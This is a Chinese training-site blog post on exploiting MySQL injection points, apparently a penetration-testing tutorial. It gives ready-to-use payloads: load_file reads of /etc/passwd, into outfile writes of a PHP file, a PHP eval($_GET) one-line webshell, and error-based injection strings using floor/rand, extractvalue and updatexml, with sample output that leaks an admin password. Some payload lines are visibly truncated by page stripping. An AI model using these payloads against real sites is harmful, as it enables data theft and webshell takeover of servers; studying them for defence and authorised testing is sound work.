热门课程

免费试听

上课方式

开班时间

当前位置: 首页 -   文章 -   新闻动态 -   正文

mysql 注入点

知了堂姐
2024-07-08 17:22:16
0

mysql 注入点,用工具对目标站直接写入一句话,需要哪些条件? 


root 权限以及网站的绝对路径 


load_file()读取文件操作 


前提: 


知道文件的绝对路径 


能够使用 union 查询 


对 web 目录有写的权限 


union select 1,load_file('/etc/passwd'),3,4,5# 


0x2f6574632f706173737764union select 1,load_file(0x2f6574632f706173737764),3,4,5# 


路径没有加单引号的话必须转换十六进制 


要是想省略单引号的话必须转换十六进制 


into outfile 写入文件操作 


前提: 


文件名必须是全路径(绝对路径) 


用户必须有写文件的权限 


没有对单引号'过滤 


select '' into outfile 'C:\Windows\tmp\8.php' 


select '' into outfile 


'C:\Windows\tmp\8.php' 


路径里面两个反斜杠\可以换成一个正斜杠/ 


PHP 语句没有单引号的话,必须转换成十六进制 


要是想省略单引号'的话,必须转换成十六进制 


或者


eval($_GET["admin"]); ?> 


 


 


 


建议一句话 PHP 语句转换成十六进制 


 


mysql注入过后常见问题


1、通过floor报错




可以通过如下一些利用代码




and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);




and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));




举例如下:




首先进行正常查询:




mysql> select * from article where id = 1;




+----+-------+---------+




| id | title | content |




+----+-------+---------+




| 1 | test | do it |




+----+-------+---------+




假如id输入存在注入的话,可以通过如下语句进行报错。




mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);




ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'




可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。



例如我们需要查询管理员用户名和密码:



Method1:



mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a);



ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'



Method2:



mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2)));



ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'



2、ExtractValue



测试语句如下



and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));



实际测试过程



mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));--




ERROR 1105 (HY000): XPATH syntax error: '\admin888'


3、UpdateXml



测试语句



and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))




实际测试过程




mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,(select pass from admin limit 1),0x5e24),1));




ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'


 

大家都在看

kvm虚拟化类型

2024-07-08 浏览次数:0

渗透测试好学吗?渗透测试应该掌握的技术

2024-07-08 浏览次数:0

详解单例模式和工厂模式(Java面试问题)

2024-07-08 浏览次数:0

如何成为java高级工程师?高级Java工程师成...

2024-07-08 浏览次数:0

react样式,react vue选哪一个

2024-07-08 浏览次数:0

渗透测试工程师需要学什么?成都渗透测试培训知了堂...

2024-07-08 浏览次数:0
最新资讯